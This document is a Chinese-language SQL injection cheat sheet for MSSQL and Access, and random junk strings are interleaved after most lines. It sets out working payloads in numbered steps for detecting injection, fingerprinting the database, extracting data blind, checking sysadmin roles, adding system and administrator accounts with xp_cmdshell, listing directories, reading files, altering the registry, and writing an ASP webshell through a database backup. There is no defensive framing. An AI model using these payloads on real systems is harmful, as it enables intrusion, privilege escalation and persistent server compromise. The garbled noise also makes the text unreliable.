1.判断是否有注入;and 1=1 ;and 1=2 @c8RlW/A
2.初步判断是否是mssql ;and user>0 't( #HBU
"AMw o(Yi
3.注入参数是字符'and [查询条件] and ''=' bfJ<~ss/
#|:q"l9
4.搜索时没过滤参数的'and [查询条件] and '%25'=' #X!seQ7a
],R\oMYy|P
5.判断数据库系统 -2U|G
)Rk(gd
;and (select count(*) from sysobjects)>0 mssql ~k
6V?z}
Ug gg!zA
;and (select count(*) from msysobjects)>0 access @{<^rLt
5 8U[IGs(
PDgZb
O6-';H:I]L
6.猜数据库 ;and (select Count(*) from [数据库名])>0 :u@ w;
v,rKuvc'
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /!"sPtIh
yQu/({D
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 98zJ?NaD&
] 4*E:
9.(1)猜字段的ascii值(access) e*D,2>o
\Z~@/OVc
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Pa|*Jcr
5?j#
(2)猜字段的ascii值(mssql) Y3)*MqZlF
Lq@uwiq!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Dg
~k"Ice
65+2+p
10.测试权限结构(mssql) rF?QI*`Y(
VeFfkg4
V5jy,Qi)
b|k(:b-G&.
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- a[!:`o1U
V2 ;?
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [Q8vS ;.
TPN1Rnt0`
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- PP_ar{|7
$9Xn.,W
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1':};}dCJ
90<a'<\|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- yWH!v]S
U?:?NC=1{
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- FB~IO#E8W
G)3r[C^[k
;and 1=(select IS_MEMBER('db_owner'));-- jR3mV
NPE 4@c_a@
\)g}
RM25]hx
11.添加mssql和系统的帐户 9I1i(0q
<{eJbN p
;exec master.dbo.sp_addlogin username;-- KC<K*UHPAH
;exec master.dbo.sp_password null,username,password;-- 2 XjH1
8)f/H&)>8
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- R&/"?&pfa
=|
r%
lx
;exec master.dbo.xp_cmdshell 'net user username password q{q;X{
h)r=+Q\'(S
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- QT"o"B
.36]>8
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ob|tA
xCu\ jc)2
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- u@4khN:
^p
0SZ:C(]
5S7ATr(*
BUBtK-n~"3
12.(1)遍历目录 ^w
jM u5f
)b|xzj @
;create table dirs(paths varchar(100), id int) m\ @Q}
W=K+kB
;insert dirs exec master.dbo.xp_dirtree 'c:\' sg<c1
a7z%)i;Z
;and (select top 1 paths from dirs)>0 Nqj5, 9*c
wI[J> 9Qn
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) z Hl+P*)
mP
+H
C)2
%LnG^L
kxY9[#:<fB
(2)遍历目录 ;l@Ge`&u
<+<,$jGC-
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- NQd0$q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \Dx)P[Ur
v@:m8Y(t
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5lE9UoG[Q
pf&SIG
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 xwijCFI*
'^:q|h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 uHt@;$9A
~2XiKY;W?
.`h:1FP8
+L=a\8Ep
13.mssql中的存储过程 pG$l
xHn "D@
xp_regenumvalues 注册表根键, 子键 g`H;~ w
RWGAxq`9f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2&<&q J
6?l|MU"Q.
xp_regread 根键,子键,键值名 `{nzw $
:1!k*5
;exec xp_regread Vf$q3X
"Qe2U(Un
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #\O?|bN'q
JZ"XrS0?
xp_regwrite 根键,子键, 值名, 值类型, 值 4m_CPe
DV~g
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 idZ]d6
%wmbFj}
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o5w =
\r\wqz7
xp_regdeletevalue 根键,子键,值名 d((,R@N'
%Q5
|RLD
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n_t.l<V
CN#2-[T
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T'%Rkag>
k=.pcDX
6p~8(-nG
.!g
14.mssql的backup创建webshell TI637yqCU
V_H0z
use model frbeCBP&)
k{+Gv}Y
create table cmd(str image); m^1'aO_;q
9Ui|8e~=
insert into cmd(str) values (''); .:TSdusr~
BHIC6i%
backup database model to disk='c:\l.asp'; m/1;os5+8
R-BN}ZS
m)xz_Plc
!;&{Q^}
15.mssql内置函数 MZ<BCRB
(L7%V !
;and (select @@version)>0 获得Windows的版本号 M}!E :bv'
*> 7Zc
;and user_name()='dbo' 判断当前系统的连接用户是不是sa #}nDX4jI
8FT@TUFb
;and (select user_name())>0 爆当前系统的连接用户 ZTi KU)
'<hgc
;and (select db_name())>0 得到当前连接的数据库 fzjZiBK@
[hKt4]R
>Te h ?P
[kPF J f
16.简洁的webshell kBJx`tjtp
)E=~
_`XO
use model oJor
]QY K
JA6#qlylL
create table cmd(str image); t;)`+K#1:
,gn**E
insert into cmd(str) values (''); ~5wT|d
@DCw(.k*
backup database model to disk='g:\wwwtest\l.asp';